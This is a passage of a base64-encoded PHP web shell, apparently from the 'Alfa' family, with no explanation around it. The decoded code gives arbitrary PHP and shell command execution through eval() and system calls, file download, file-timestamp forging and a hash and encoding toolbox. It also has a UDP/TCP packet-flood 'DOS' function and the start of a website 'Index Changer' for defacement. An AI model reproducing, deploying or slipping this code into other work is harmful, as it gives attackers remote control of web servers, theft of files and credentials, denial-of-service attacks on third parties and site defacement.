YWxjaGFycyhpc3NldCgkX1BPU1RbJ2FsZmEzJ10pJiYkX1BPU1RbJ2FsZmEzJ10hPScnPyRfUE9TVFsnYWxmYTMnXTokYWxmYTFfZGVjb2RlZCkpLiciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iICI+PC9mb3JtPic7DQpicmVhazsNCmNhc2UgJ3RvdWNoJzoNCkBjaGRpcigkX1BPU1RbJ2MnXSk7DQppZiggIWVtcHR5KCRfUE9TVFsnYWxmYTMnXSkgKSB7DQokdGltZSA9IHN0cnRvdGltZSgkX1BPU1RbJ2FsZmEzJ10pOw0KaWYoJHRpbWUpew0KJHRvdWNoZWQgPSBmYWxzZTsNCmlmKCRjaGRpcl9mYWxzJiYkYWxmYV9jYW5ydW5jbWQpew0KCWFsZmFFeCgiY2QgJyIuYWRkc2xhc2hlcygkX1BPU1RbImMiXSkuIic7dG91Y2ggLWQgJyIuaHRtbHNwZWNpYWxjaGFycyhhZGRzbGFzaGVzKCRfUE9TVFsnYWxmYTMnXSkpLiInICciLmFkZHNsYXNoZXMoJGFsZmExX2RlY29kZWQpLiInIik7DQoJJHRvdWNoZWQgPSB0cnVlOw0KfQ0KaWYoIUB0b3VjaCgkX1BPU1RbJ2FsZmExJ10sJHRpbWUsJHRpbWUpJiYhJHRvdWNoZWQpDQplY2hvICdGYWlsISc7DQplbHNlDQplY2hvICdUb3VjaGVkISc7DQp9IGVsc2UgZWNobyAnQmFkIHRpbWUgZm9ybWF0ISc7DQp9DQpjbGVhcnN0YXRjYWNoZSgpOw0KZWNobyAnPHNjcmlwdD5hbGZhM189IiI7PC9zY3JpcHQ+PGZvcm0gb25zdWJtaXQ9ImVkaXRvcihcJycuYWRkc2xhc2hlcygkX1BPU1RbJ2FsZmExJ10pLidcJyxcJycuJF9QT1NUWydhbGZhMiddLidcJyx0aGlzLnRvdWNoLnZhbHVlLFwnJy4kX1BPU1RbJ2MnXS4nXCcsXCcnLiRfUE9TVFsnYWxmYTQnXS4nXCcsXCcnLiRmdHlwZS4nXCcpO3JldHVybiBmYWxzZTsiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT10b3VjaCB2YWx1ZT0iJy5kYXRlKCJZLW0tZCBIOmk6cyIsICgkY2hkaXJfZmFscz8kZmlsZV9pbmZvWzRdOkBmaWxlbXRpbWUoJF9QT1NUWydhbGZhMSddKSkpLiciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iICI+PC9mb3JtPic7DQpicmVhazsNCmNhc2UgJ2ltYWdlJzoNCkBjaGRpcigkX1BPU1RbJ2MnXSk7DQplY2hvKCc8aHI+Jyk7DQokZmlsZSA9ICRfUE9TVFsnYWxmYTEnXTsNCiRpbWFnZV9pbmZvID0gQGdldGltYWdlc2l6ZSgkZmlsZSk7DQppZihpc19hcnJheSgkaW1hZ2VfaW5mbyl8fCRjaGRpcl9mYWxzKXsNCiR3aWR0aCA9IChpbnQpJGltYWdlX2luZm9bMF07DQokaGVpZ2h0ID0gKGludCkkaW1hZ2VfaW5mb1sxXTsNCmlmKCRjaGRpcl9mYWxzJiYkYWxmYV9jYW5ydW5jbWQpew0KCSRzb3VyY2UgPSBhbGZhRXgoImNhdCAnIi5hZGRzbGFzaGVzKCRmaWxlKS4iJyB8IGJhc2U2NCIpOw0KCWxpc3QoJHdpZHRoLCAkaGVpZ2h0KSA9IGV4cGxvZGUoIjoiLCBhbGZhRXgoImlkZW50aWZ5IC1mb3JtYXQgJyV3OiVoJyAnIi5hZGRzbGFzaGVzKCRmaWxlKS4iJyIpKTsNCgkkbWltZSA9IGV4cGxvZGUoIjoiLCBhbGZhRXgoImZpbGUgLS1taW1lLXR5cGUgJyIuYWRkc2xhc2hlcygkZmlsZSkuIiciKSk7DQoJJGltYWdlX2luZm9bJ21pbWUnXSA9ICRtaW1lWzFdOw0KfWVsc2V7DQoJJHNvdXJjZSA9IF9fWlc1amIyUmxjZyhfX3JlYWRfZmlsZSgkZmlsZSwgZmFsc2UpKTsNCn0NCiRpbWFnZV9pbmZvX2ggPSAiSW1hZ2UgdHlwZSA9IDxzcGFuPls8L3NwYW4+ICIuJGltYWdlX2luZm9bJ21pbWUnXS4iIDxzcGFuPl08L3NwYW4+PGJyPkltYWdlIFNpemUgPSA8c3Bhbj5bIDwvc3Bhbj4iLiR3aWR0aC4iIHggIi4kaGVpZ2h0LiI8c3Bhbj4gXTwvc3Bhbj48YnI+IjsNCmlmKCR3aWR0aCA+IDgwMCl7JHdpZHRoID0gODAwO30NCmVjaG8gJGNvbnRlbnQgPSAiPGRpdiBjbGFzcz0nZWRpdG9yLXZpZXcnPjxkaXYgY2xhc3M9J3ZpZXctY29udGVudCc+PGNlbnRlcj4iLiRpbWFnZV9pbmZvX2guIjxicj48aW1nIGlkPSd2aWV3SW1hZ2UnIHN0eWxlPSdtYXgtd2lkdGg6MTAwJTtib3JkZXI6MXB4IHNvbGlkIGdyZWVuOycgc3JjPSdkYXRhOiIuJGltYWdlX2luZm9bJ21pbWUnXS4iO2Jhc2U2NCwiLiRzb3VyY2UuIicgYWx0PSciLiRmaWxlLiInPjwvY2VudGVyPjwvZGl2PjwvZGl2Pjxicj4iOw0KfQ0KYnJlYWs7DQp9DQplY2hvICc8L2Rpdj4nOw0KYWxmYUZvb3RlcigpOw0KfQ0KZnVuY3Rpb24gZmluZGljb24oJGZpbGUsJHR5cGUpew0KJHMgPSAnaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy8nOw0KJHR5cGVzID0gYXJyYXkoJ2pzb24nLCdwcHQnLCdwcHR4JywneGxzJywneGxzeCcsJ21zaScsJ2NvbmZpZycsJ2NnaScsJ3BtJywnYycsJ2NwcCcsJ2NzJywnamF2YScsJ2FzcHgnLCdhc3AnLCdkYicsJ3R0ZicsJ2VvdCcsJ3dvZmYnLCd3b2ZmMicsJ3dvZmYnLCdjb25mJywnbG9nJywnYXBrJywnY2FiJywnYnoyJywndGd6JywnZG1nJywnaXpvJywnamFyJywnN3onLCdpc28nLCdyYXInLCdiYXQnLCdzaCcsJ2FsZmEnLCdneicsJ3RhcicsJ3BocCcsJ3BocDQnLCdwaHA1JywncGh0bWwnLCdodG1sJywneGh0bWwnLCdzaHRtbCcsJ2h0bScsJ3ppcCcsJ3BuZycsJ2pwZycsJ2pwZWcnLCdnaWYnLCdibXAnLCdpY28nLCd0eHQnLCdqcycsJ3JiJywncHknLCd4bWwnLCdjc3MnLCdzcWwnLCdodGFjY2VzcycsJ3BsJywnaW5pJywnZGxsJywnZXhlJywnbXAzJywnbXA0JywnbTRhJywnbW92JywnZmx2Jywnc3dmJywnbWt2JywnYXZpJywnd212JywnbXBnJywnbXBlZycsJ2RhdCcsJ3BkZicsJzNncCcsJ2RvYycsJ2RvY3gnLCdkb2NtJyk7DQppZigkdHlwZSE9J2ZpbGUnKXsNCnJldHVybiAoJGZpbGU9PScuLic/JHMuJ2JhY2sucG5nJzokcy4nZm9sZGVyLnBuZycpOw0KfWVsc2V7DQokZXh0ID0gZXhwbG9kZSgnLicsJGZpbGUpOw0KJGV4dCA9IGVuZCgkZXh0KTsNCiRleHQgPSBzdHJ0b2xvd2VyKCRleHQpOw0KcmV0dXJuIChpbl9hcnJheSgkZXh0LCR0eXBlcyk/JHMuJGV4dC4nLnBuZyc6JHMuJ25vdGZvdW5kLnBuZycpOw0KfQ0KfQ0KZnVuY3Rpb24gYWxmYWRsZmlsZSgpew0KaWYoaXNzZXQoJF9QT1NUWydjJ10sJF9QT1NUWydmaWxlJ10pKXsNCiRiYXNlbmFtZSA9IHJhd3VybGRlY29kZShiYXNlbmFtZSgkX1BPU1RbJ2ZpbGUnXSkpOw0KJF9QT1NUWydmaWxlJ10gPSBzdHJfcmVwbGFjZSgiLy8iLCAiLyIsICRfUE9TVFsnYyddLicvJy4kYmFzZW5hbWUpOw0KJGFsZmFfY2FucnVuY21kID0gX2FsZmFfY2FuX3J1bkNvbW1hbmQodHJ1ZSx0cnVlKTsNCmlmKEBpc19maWxlKCRfUE9TVFsnZmlsZSddKSAmJiBAaXNfcmVhZGFibGUoJF9QT1NUWydmaWxlJ10pIHx8ICRhbGZhX2NhbnJ1bmNtZCl7DQpvYl9zdGFydCgib2JfZ3poYW5kbGVyIiwgNDA5Nik7DQpoZWFkZXIoIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPVwiIi5hZGRzbGFzaGVzKCRiYXNlbmFtZSkuIlwiIik7DQpoZWFkZXIoIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIik7DQppZihpc3NldCgkR0xPQkFMU1siZ2xvYl9jaGRpcl9mYWxzZSJdKSl7DQoJJHJhbmRuYW1lID0gJGJhc2VuYW1lLnJhbmQoMTExLDk5OTkpOw0KCSRzY3JpcHRwYXRoID0gZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pOw0KCSRmaWxlcGF0aCA9ICRzY3JpcHRwYXRoLiIvIi4kcmFuZG5hbWU7DQoJaWYoX2FsZmFfaXNfd3JpdGFibGUoJHNjcmlwdHBhdGgpKXsNCgkJYWxmYUV4KCJjcCAnIi5hZGRzbGFzaGVzKCRfUE9TVFsiZmlsZSJdKS4iJyAnIi5hZGRzbGFzaGVzKCRmaWxlcGF0aCkuIiciKTsNCgkJcmVhZGZpbGUoJGZpbGVwYXRoKTsNCgkJQHVubGluaygkZmlsZXBhdGgpOw0KCX1lbHNlew0KCQlhbGZhRXgoImNhdCAnIi5hZGRzbGFzaGVzKCRfUE9TVFsiZmlsZSJdKS4iJyIpOw0KCX0NCn1lbHNlew0KCXJlYWRmaWxlKCRfUE9TVFsnZmlsZSddKTsNCn0NCn1lbHNlIGVjaG8oJ0Vycm9yLi4uIScpO319DQpmdW5jdGlvbiBhbGZhcGhwZXZhbCgpew0KYWxmYWhlYWQoKTsNCmlmKGlzc2V0KCRfUE9TVFsnYWxmYTInXSkgJiYgKCRfUE9TVFsnYWxmYTInXSA9PSAnaW5pJykpew0KZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+JzsNCm9iX3N0YXJ0KCk7DQokSU5JPWluaV9nZXRfYWxsKCk7DQpwcmludCAnPHRhYmxlIGJvcmRlcj0wPjx0cj4nDQouJzx0ZCBjbGFzcz0ibGlzdGluZyI+PGZvbnQgY2xhc3M9ImhpZ2hsaWdodF90eHQiPlBhcmFtPC90ZD4nDQouJzx0ZCBjbGFzcz0ibGlzdGluZyI+PGZvbnQgY2xhc3M9ImhpZ2hsaWdodF90eHQiPkdsb2JhbCB2YWx1ZTwvdGQ+Jw0KLic8dGQgY2xhc3M9Imxpc3RpbmciPjxmb250IGNsYXNzPSJoaWdobGlnaHRfdHh0Ij5Mb2NhbCBWYWx1ZTwvdGQ+Jw0KLic8dGQgY2xhc3M9Imxpc3RpbmciPjxmb250IGNsYXNzPSJoaWdobGlnaHRfdHh0Ij5BY2Nlc3M8L3RkPjwvdHI+JzsNCmZvcmVhY2ggKCRJTkkgYXMgJHBhcmFtID0+ICR2YWx1ZXMpDQpwcmludCAiXG4iLic8dHI+Jw0KLic8dGQgY2xhc3M9Imxpc3RpbmciPjxiPicuJHBhcmFtLic8L3RkPicNCi4nPHRkIGNsYXNzPSJsaXN0aW5nIj4nLiR2YWx1ZXNbJ2dsb2JhbF92YWx1ZSddLicgPC90ZD4nDQouJzx0ZCBjbGFzcz0ibGlzdGluZyI+Jy4kdmFsdWVzWydsb2NhbF92YWx1ZSddLicgPC90ZD4nDQouJzx0ZCBjbGFzcz0ibGlzdGluZyI+Jy4kdmFsdWVzWydhY2Nlc3MnXS4nIDwvdGQ+PC90cj4nOw0KJHRtcCA9IG9iX2dldF9jbGVhbigpOw0KJHRtcCA9IHByZWdfcmVwbGFjZSgnIShib2R5fGE6XHcrfGJvZHksIHRkLCB0aCwgaDEsIGgyKSB7Lip9IW1zaVUnLCcnLCR0bXApOw0KJHRtcCA9IHByZWdfcmVwbGFjZSgnIXRkLCB0aCB7KC4qKX0hbXNpVScsJy5lLCAudiwgLmgsIC5oIHRoIHskMX0nLCR0bXApOw0KZWNobyBzdHJfcmVwbGFjZSgnPGgxJywnPGgyJywgJHRtcCkgLic8L2Rpdj48YnI+JzsNCn0NCmlmKGlzc2V0KCRfUE9TVFsnYWxmYTInXSkgJiYgKCRfUE9TVFsnYWxmYTInXSA9PSAnaW5mbycpKSB7DQplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj48c3R5bGU+LnAge2NvbG9yOiMwMDA7fTwvc3R5bGU+JzsNCm9iX3N0YXJ0KCk7DQpwaHBpbmZvKCk7DQokdG1wID0gb2JfZ2V0X2NsZWFuKCk7DQokdG1wID0gcHJlZ19yZXBsYWNlKCchKGJvZHl8YTpcdyt8Ym9keSwgdGQsIHRoLCBoMSwgaDIpIHsuKn0hbXNpVScsJycsJHRtcCk7DQokdG1wID0gcHJlZ19yZXBsYWNlKCchdGQsIHRoIHsoLiopfSFtc2lVJywnLmUsIC52LCAuaCwgLmggdGggeyQxfScsJHRtcCk7DQplY2hvIHN0cl9yZXBsYWNlKCc8aDEnLCc8aDInLCAkdG1wKSAuJzwvZGl2Pjxicj4nOw0KfQ0KaWYoaXNzZXQoJF9QT1NUWydhbGZhMiddKSAmJiAoJF9QT1NUWydhbGZhMiddID09ICdleHRlbicpKSB7DQplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj4nOw0Kb2Jfc3RhcnQoKTsNCiRFWFQ9Z2V0X2xvYWRlZF9leHRlbnNpb25zKCk7DQplY2hvICc8dGFibGUgYm9yZGVyPTA+PHRyPjx0ZCBjbGFzcz0ibGlzdGluZyI+Jy5pbXBsb2RlKCc8L3RkPjwvdHI+Jy4iXG4iLic8dHI+PHRkIGNsYXNzPSJsaXN0aW5nIj4nLCAkRVhUKS4nPC90ZD48L3RyPjwvdGFibGU+Jy5jb3VudCgkRVhUKS4nIGV4dGVuc2lvbnMgbG9hZGVkJzsNCmVjaG8gJzwvZGl2Pjxicj4nOw0KfQ0KJGxhbmdfaHRtbCA9ICIiOw0KZm9yZWFjaChhcnJheSgicGhwIj0+InBocCB+PiBbIFdpbmRvd3MgLyBMaW51eCBdIiwicGVybCI9PiJwZXJsIH4+IFsgTGludXggXSIsInB5dGhvbiI9PiJweXRob24gfj4gWyBMaW51eCBdIiwiYmFzaCI9PiJiYXNoIH4+IFsgTGludXggXSIpIGFzICRrZXk9PiR2YWwpeyRsYW5nX2h0bWwgLj0gJzxvcHRpb24gdmFsdWU9IicuJGtleS4nIiAnLigkX1BPU1RbImFsZmEzIl09PSRrZXk/InNlbGVjdGVkIjoiIikuJz4nLiR2YWwuJzwvb3B0aW9uPic7fQ0KZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+PENlbnRlcj48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwncGhwZXZhbFwnLG51bGwsXCdcJyxcJ2luaVwnKSI+fCBJTklfSU5GTyB8IDwvYT48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwncGhwZXZhbFwnLG51bGwsXCdcJyxcJ2luZm9cJykiPiB8IHBocGluZm8gfDwvYT48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwncGhwZXZhbFwnLG51bGwsXCdcJyxcJ2V4dGVuXCcpIj4gfCBleHRlbnNpb25zIHw8L2E+PC9jZW50ZXI+PGJyPjxmb3JtIG5hbWU9cGYgbWV0aG9kPXBvc3Qgb25zdWJtaXQ9ImcoXCdwaHBldmFsXCcsbnVsbCx0aGlzLmNvZGUudmFsdWUsbnVsbCx0aGlzLmxhbmd1YWdlLnZhbHVlKTsgcmV0dXJuIGZhbHNlOyI+PGRpdiBjbGFzcz0idHh0Zm9udCI+U2VsZWN0IExhbmd1YWdlOiA8L2Rpdj4gPHNlbGVjdCBuYW1lPSJsYW5ndWFnZSIgc3R5bGU9IndpZHRoOjMwMHB4OyI+Jy4kbGFuZ19odG1sLic8L3NlbGVjdD48YnI+PGJyPjx0ZXh0YXJlYSBwbGFjZWhvbGRlcj0iZmlsZV9nZXRfY29udGVudHMoXCcvZXRjL3Bhc3N3ZFwnKTsiIG5hbWU9Y29kZSBjbGFzcz1iaWdhcmVhIGlkPVBocENvZGU+Jy4oIWVtcHR5KCRfUE9TVFsnYWxmYTEnXSk/aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2FsZmExJ10pOicnKS4nPC90ZXh0YXJlYT48Y2VudGVyPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSIiIHN0eWxlPSJtYXJnaW4tdG9wOjVweCI+PC9jZW50ZXI+JzsNCmVjaG8gJzwvZm9ybT48cHJlIGlkPVBocE91dHB1dCBzdHlsZT0iJy4oZW1wdHkoJF9QT1NUWydhbGZhMSddKT8nZGlzcGxheTpub25lOyc6JycpLidtYXJnaW4tdG9wOjVweDsiIGNsYXNzPW1sMT4nOw0KaWYoIWVtcHR5KCRfUE9TVFsnYWxmYTEnXSkpew0KaWYoJF9QT1NUWydhbGZhMyddPT0icGhwIil7DQpvYl9zdGFydCgpOw0KZXZhbCgkX1BPU1RbJ2FsZmExJ10pOw0KJHJlc3VsdCA9IGh0bWxzcGVjaWFsY2hhcnMob2JfZ2V0X2NsZWFuKCkpOw0KfWVsc2VpZihfYWxmYV9jYW5fcnVuQ29tbWFuZCgpJiYkR0xPQkFMU1sic3lzIl09PSJ1bml4Iil7DQoJaWYoaXNzZXQoJF9TRVNTSU9OWyJldmFsX3RtcGRpciJdKSl7DQoJCSR0ZW1wZGlyID0gJF9TRVNTSU9OWyJldmFsX3RtcGRpciJdOw0KCX1lbHNlew0KCQkkdGVtcGRpciA9IGRpcm5hbWUoYWxmYUV4KCJta3RlbXAiKSk7DQoJCSRfU0VTU0lPTlsiZXZhbF90bXBkaXIiXSA9ICR0ZW1wZGlyOw0KCX0NCgkkbGFuZyA9ICRfUE9TVFsnYWxmYTMnXTsNCgkkZmlsZW5hbWUgPSAidGVtcCIucmFuZCgxMTExMSw5OTk5OSk7DQoJJHRlbXAgPSAkdGVtcGRpci4iLyIuJGZpbGVuYW1lIDsNCglfX3dyaXRlX2ZpbGUoJGZpbGVuYW1lLCAkX1BPU1RbJ2FsZmExJ10pOw0KCSRyZXN1bHQgPSBhbGZhRXgoIm12IHskZmlsZW5hbWV9IHskdGVtcH07eyRsYW5nfSB7JHRlbXB9O3JtIC1mIHskdGVtcH0iKTsNCglAdW5saW5rKCRmaWxlbmFtZSk7DQoJQHVubGluaygkdGVtcCk7DQp9DQplY2hvICc8dGV4dGFyZWEgY2xhc3M9YmlnYXJlYSBpZD0iUGhwQ29kZSI+Jy4kcmVzdWx0Lic8L3RleHRhcmVhPic7DQp9DQplY2hvICc8L3ByZT48L2Rpdj4nOw0KYWxmYWZvb3RlcigpOw0KfQ0KZnVuY3Rpb24gYWxmYWhhc2goKXsNCmlmKCFmdW5jdGlvbl9leGlzdHMoJ2hleDJiaW4nKSkge2Z1bmN0aW9uIGhleDJiaW4oJHApIHtyZXR1cm4gZGVjYmluKGhleGRlYygkcCkpO319DQppZighZnVuY3Rpb25fZXhpc3RzKCdmdWxsX3VybGVuY29kZScpKSB7ZnVuY3Rpb24gZnVsbF91cmxlbmNvZGUoJHApeyRyPScnO2ZvcigkaT0wOyRpPHN0cmxlbigkcCk7KyskaSkkci49ICclJy5kZWNoZXgob3JkKCRwWyRpXSkpO3JldHVybiBzdHJ0b3VwcGVyKCRyKTt9fQ0KJHN0cmluZ1Rvb2xzID0gYXJyYXkoDQonQmFzZTY0X2VuY29kZSAoICRzdHJpbmcgKScgPT4gJ19fWlc1amIyUmxjZygkcyknLA0KJ0Jhc2U2NF9kZWNvZGUgKCAkc3RyaW5nICknID0+ICdfX1pHVmpiMlJsY2coJHMpJywNCidzdHJyZXYgKCAkc3RyaW5nICknID0+ICdzdHJyZXYoJHMpJywNCidiaW4yaGV4ICggJHN0cmluZyApJyA9PiAnYmluMmhleCgkcyknLA0KJ2hleDJiaW4gKCAkc3RyaW5nICknID0+ICdoZXgyYmluKCRzKScsDQonbWQ1ICggJHN0cmluZyApJyA9PiAnbWQ1KCRzKScsDQonc2hhMSAoICRzdHJpbmcgKScgPT4gJ3NoYTEoJHMpJywNCidoYXNoICggInNoYTI1MSIsICRzdHJpbmcgKSAtLT4gc2hhMjUxJyA9PiAnaGFzaCgic2hhMjU2IiwkcyknLA0KJ2hhc2ggKCAic2hhMzg0IiwgJHN0cmluZyApIC0tPiBzaGEzODQnID0+ICdoYXNoKCJzaGEzODQiLCRzKScsDQonaGFzaCAoICJzaGE1MTIiLCAkc3RyaW5nICkgLS0+IHNoYTUxMicgPT4gJ2hhc2goInNoYTUxMiIsJHMpJywNCidjcnlwdCAoICRzdHJpbmcgKScgPT4gJ2NyeXB0KCRzKScsDQonY3JjMzIgKCAkc3RyaW5nICknID0+ICdjcmMzMigkcyknLA0KJ3N0cl9yb3QxMyAoICRzdHJpbmcgKScgPT4gJ3N0cl9yb3QxMygkcyknLA0KJ3VybGVuY29kZSAoICRzdHJpbmcgKScgPT4gJ3VybGVuY29kZSgkcyknLA0KJ3VybGRlY29kZSAgKCAkc3RyaW5nICknID0+ICd1cmxkZWNvZGUoJHMpJywNCidmdWxsX3VybGVuY29kZSAgKCAkc3RyaW5nICknID0+ICdmdWxsX3VybGVuY29kZSgkcyknLA0KJ2h0bWxzcGVjaWFsY2hhcnMgICggJHN0cmluZyApJyA9PiAnaHRtbHNwZWNpYWxjaGFycygkcyknLA0KJ2Jhc2U2NF9lbmNvZGUgKGd6ZGVmbGF0ZSggJHN0cmluZyAsIDkpKSAtLT4gRW5jb2RlJyA9PiAnX19aVzVqYjJSbGNnKGd6ZGVmbGF0ZSgkcywgOSkpJywNCidnemluZmxhdGUgKGJhc2U2NF9kZWNvZGUoICRzdHJpbmcgKSkgLS0+IERlY29kZScgPT4gJ0BnemluZmxhdGUoX19aR1ZqYjJSbGNnKCRzKSknLA0KJ3N0cl9yb3QxMyAoYmFzZTY0X2VuY29kZSggJHN0cmluZyApKSAtLT4gRW5jb2RlJyA9PiAnc3RyX3JvdDEzKF9fWlc1amIyUmxjZygkcykpJywNCidiYXNlNjRfZGVjb2RlIChzdHJfcm90MTMoICRzdHJpbmcgKSkgLS0+IERlY29kZScgPT4gJ19fWkdWamIyUmxjZyhzdHJfcm90MTMoJHMpKScsDQonc3RyX3JvdDEzIChiYXNlNjRfZW5jb2RlKGd6ZGVmbGF0ZSggJHN0cmluZyAsIDkpKSkgLS0+IEVuY29kZScgPT4gJ3N0cl9yb3QxMyhfX1pXNWpiMlJsY2coZ3pkZWZsYXRlKCRzLDkpKSknLA0KJ2d6aW5mbGF0ZSAoYmFzZTY0X2RlY29kZShzdHJfcm90MTMoICRzdHJpbmcgKSkpIC0tPiBEZWNvZGUnID0+ICdAZ3ppbmZsYXRlKF9fWkdWamIyUmxjZyhzdHJfcm90MTMoJHMpKSknLA0KKTsNCmFsZmFoZWFkKCk7DQplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj4nOw0KZWNobyAiPGZvcm0gb25TdWJtaXQ9J2coXCJoYXNoXCIsbnVsbCx0aGlzLnNlbGVjdFRvb2wudmFsdWUsdGhpcy5pbnB1dC52YWx1ZSk7cmV0dXJuIGZhbHNlOyc+PGRpdiBjbGFzcz0ndHh0Zm9udCc+TWV0aG9kOjwvZGl2PiA8c2VsZWN0IG5hbWU9J3NlbGVjdFRvb2wnIHN0eWxlPSd3aWR0aDo0MDBweDsnPiI7DQpmb3JlYWNoKCRzdHJpbmdUb29scyBhcyAkayA9PiAkdikNCmVjaG8gIjxvcHRpb24gdmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkdikuIicgIi4oJF9QT1NUWydhbGZhMSddPT0kdj8nc2VsZWN0ZWQnOicnKS4iPiIuJGsuIjwvb3B0aW9uPiI7DQplY2hvICI8L3NlbGVjdD4gPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAnLz48YnI+PHRleHRhcmVhICBuYW1lPSdpbnB1dCcgc3R5bGU9J21hcmdpbi10b3A6NXB4JyBjbGFzcz0nYmlnYXJlYSc+Ii4oZW1wdHkoJF9QT1NUWydhbGZhMSddKT8nJzpodG1sc3BlY2lhbGNoYXJzKEAkX1BPU1RbJ2FsZmEyJ10pKS4iPC90ZXh0YXJlYT48L2Zvcm0+IjsNCmlmKCFlbXB0eSgkX1BPU1RbJ2FsZmExJ10pKXsNCiRzdHJpbmcgPSBhZGRzbGFzaGVzKCRfUE9TVFsnYWxmYTInXSk7DQokc3RyaW5nID0gc3RyX3JlcGxhY2UoJ1wiJywnIicsJHN0cmluZyk7DQokYWxnID0gJF9QT1NUWydhbGZhMSddOw0KJGNvZGUgPSBzdHJfcmVwbGFjZSgnJHMnLCInIi4kc3RyaW5nLiInIiwkYWxnKTsNCm9iX3N0YXJ0KCk7DQpldmFsKCdlY2hvICcuJGNvZGUuJzsnKTsNCiRyZXMgPSBvYl9nZXRfY29udGVudHMoKTsNCm9iX2VuZF9jbGVhbigpOw0KaWYoaW5fYXJyYXkoJGFsZywgJHN0cmluZ1Rvb2xzKSllY2hvICc8dGV4dGFyZWEgY2xhc3M9ImJpZ2FyZWEiIGlkPSJQaHBDb2RlIj4nLmh0bWxzcGVjaWFsY2hhcnMoJHJlcykuJzwvdGV4dGFyZWE+JzsNCn0NCmVjaG8gIjwvZGl2PiI7DQphbGZhRm9vdGVyKCk7DQp9DQpmdW5jdGlvbiBhbGZhZG9zKCl7DQphbGZhaGVhZCgpOw0KZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+JzsNCmVjaG8gJzxjZW50ZXI+PHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgRE9TIHw8L2Rpdj48L3A+PGZvcm0gb25TdWJtaXQ9ImcoXCdkb3NcJyxudWxsLHRoaXMuaG9zdC52YWx1ZSx0aGlzLnRpbWUudmFsdWUsdGhpcy5wb3J0LnZhbHVlLHRoaXMubS52YWx1ZSk7IHJldHVybiBmYWxzZTsiPjxkaXYgY2xhc3M9InR4dGZvbnQiPk1ldGhvZCA6IDxzZWxlY3QgbmFtZT0ibSIgc3R5bGU9IndpZHRoOjgwcHg7Ij48b3B0aW9uIHZhbHVlPSJ1ZHAiPlVEUDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9InRjcCI+VENQPC9vcHRpb24+PC9zZWxlY3Q+IEhvc3QgOiA8aW5wdXQgbmFtZT0iaG9zdCIgdHlwZT0idGV4dCIgdmFsdWU9ImxvY2FsaG9zdCIgc2l6ZT0iMjUiIC8+IFRpbWUgOiA8aW5wdXQgbmFtZT0idGltZSIgdHlwZT0idGV4dCIgc2l6ZT0iMTUiIC8+IFBvcnQgOiA8aW5wdXQgbmFtZT0icG9ydCIgdHlwZT0idGV4dCIgc2l6ZT0iMTAiIC8+IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSIgIiAvPjwvZGl2PjwvZm9ybT48L2NlbnRlcj48YnI+JzsNCmlmKCFlbXB0eSgkX1BPU1RbJ2FsZmExJ10pICYmICFlbXB0eSgkX1BPU1RbJ2FsZmEyJ10pICYmICFlbXB0eSgkX1BPU1RbJ2FsZmEzJ10pKXsNCmVjaG8gX19wcmUoKTsNCiRwYWNrZXRzPTA7DQppZ25vcmVfdXNlcl9hYm9ydCh0cnVlKTsNCiRleGVjX3RpbWU9KGludCkkX1BPU1RbJ2FsZmEyJ107DQokdGltZT10aW1lKCk7DQokbWF4X3RpbWU9JGV4ZWNfdGltZSskdGltZTsNCiRob3N0PSRfUE9TVFsnYWxmYTEnXTsNCiRwb3J0PShpbnQpJF9QT1NUWydhbGZhMyddOw0KJG1ldGhvZD0kX1BPU1RbJ2FsZmE0J107DQokb3V0ID0gc3RyX3JlcGVhdCgnWCcsNjUwMDApOw0Kd2hpbGUoMSl7DQokcGFja2V0cysrOw0KaWYodGltZSgpID4gJG1heF90aW1lKXsNCmJyZWFrOw0KfQ0KJGZwID0gQGZzb2Nrb3BlbigkbWV0aG9kLic6Ly8nLiRob3N0LCAkcG9ydCwgJGVycm5vLCAkZXJyc3RyLCA1KTsNCmlmKCRmcCl7DQpmd3JpdGUoJGZwLCAkb3V0KTsNCmZjbG9zZSgkZnApOw0KfQ0KfQ0KZWNobyAiPGNlbnRlcj4kcGFja2V0cyAoIiAuIEByb3VuZCgoJHBhY2tldHMqNjUpLzEwMjQsIDIpIC4gIiBNQikgcGFja2V0cyBhdmVyYWdpbmcgIi4gQHJvdW5kKCRwYWNrZXRzLyRleGVjX3RpbWUsIDIpIC4gIiBwYWNrZXRzIHBlciBzZWNvbmQ8L2NlbnRlcj4iOw0KZWNobyAiPC9wcmU+IjsNCn0NCmVjaG8gJzwvZGl2Pic7DQphbGZhZm9vdGVyKCk7DQp9DQpmdW5jdGlvbiBfX3ByZSgpe3JldHVybignPHByZSBpZD0ic3RyT3V0cHV0IiBzdHlsZT0ibWFyZ2luLXRvcDo1cHgiIGNsYXNzPSJtbDEiPicpO30NCmZ1bmN0aW9uIGFsZmFJbmRleENoYW5nZXIoKXsNCmFsZmFoZWFkKCk7DQoNCmVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPjxjZW50ZXI+PHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgSW5kZXggQ2hhbmdlciB8PC9kaXY+PC9wPjxoMz48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFw